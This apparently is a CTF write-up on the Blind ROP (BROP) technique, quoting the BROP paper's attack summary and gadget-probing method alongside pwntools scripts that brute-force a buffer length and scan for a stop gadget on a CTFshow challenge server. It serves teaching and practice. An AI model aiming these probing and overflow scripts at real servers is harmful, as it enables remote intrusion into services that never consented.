H. Attack summary The optimized BROP attack is as follows: 1) Find where the executable is loaded. Either 0x400000 for non-PIE executables (default) or stack read a saved return address. 2) Find a stop gadget. This is typically a blocking system call (like sleep or read) in the PLT. The attacker finds the PLT in this step too. 3) Find the BROP gadget. The attacker can now control the first two arguments to calls. 4) Find strcmp in the PLT. The attacker can now control the first three arguments to calls. 5) Find write in the PLT. The attacker can now dump the entire binary to find more gadgets. 6) Build a shellcode and exploit the server.
from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show","28284")
def getBufferLength(): i = 1 while True: try: p = remote("pwn.challenge.ctf.show","28284") p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n") # 这里注意不要用sendline,sendline会多一个回车 p.send(i*b'a') data = p.recv() p.close() if b"No passwd" in data: i += 1 else: return i-1 except EOFError: p.close() return i-1 if __name__ == "__main__": buf_length = getBufferLength() print(buf_length) # buf_length = 72
def getStopGadget(): # 没有任何意义的initial_address,单纯是感觉写address比较膈应 initial_address = 0x400000 address = initial_address while True: print(hex(address)) try: p = remote("pwn.challenge.ctf.show","28284") p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n") p.send(cyclic(buf_length) + p64(address)) data = p.recv() p.close() if b"Welcome to CTFshow-PWN ! Do you know who is daniu?" in data: return address else: p.close() address += 1 except EOFError: address += 1 p.close()
The idea is that by varying the position of the stop and trap on the stack, one can deduce the instructions being executed by the gadget, either because the trap or stop will execute, causing a crash or no crash respectively.
Here are some examples and possible stack layouts: • probe, stop, traps (trap, trap, . . . ). Will find gadgets that do not pop the stack like ret or xor rax, rax; ret. • probe, trap, stop, traps. Will find gadgets that pop exactly one stack word like pop rax; ret or pop rdi; ret. Figure 10 shows an illustration of this. • probe, stop, stop, stop, stop, stop, stop, stop, traps. Will find gadgets that pop up to six words (e.g., the BROP gadget).
The traps at the end of each sequence ensure that if a gadget skips over the stop gadgets, a crash will occur. In practice only a few traps (if any) will be necessary because the stack will likely already contain values (e.g., strings, integers) that will cause crashes when interpreted as return addresses.
To control the third argument (rdx) one needs to find a call to strcmp, which sets rdx to the length of the string compared. The PLT is a jump table at the beginning of the executable used for all external calls (e.g., libc). For example, a call to strcmp will actually be a call to the PLT. The PLT will then dereference the Global Offset Table (GOT) and jump to the address stored in it. The GOT will be populated by the dynamic loader with the addresses of library calls depending on where in memory the library got loaded. The GOT is populated lazily, so the first time each PLT entry is called, it will take a slow path via dlresolve to resolve the symbol location and populate the GOT entry for the next time. The structure of the PLT is shown in Figure 11. It has a very unique signature: each entry is 16 bytes apart (16 bytes aligned) and the slow path for each entry can be run at an offset of 6 bytes.
from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show","28258") context(arch='amd64',os='linux',log_level='debug')
def getBufferLength(): i = 1 while True: try: p = remote("pwn.challenge.ctf.show","28258") p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n") # 这里注意不要用sendline,sendline会多一个回车 p.send(i*b'a') data = p.recv() p.close() if b"No passwd" in data: i += 1 else: return i-1 except EOFError: p.close() return i-1 def getStopGadget(buf_length): # 没有任何意义的initial_address,单纯是感觉写address比较膈应 initial_address = 0x400000 address = initial_address while True: print(hex(address)) try: p = remote("pwn.challenge.ctf.show","28258") p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n") p.send(cyclic(buf_length) + p64(address)) data = p.recv() p.close() if b"Welcome to CTFshow-PWN ! Do you know who is daniu?" in data: return address else: p.close() address += 1 except EOFError: address += 1 p.close()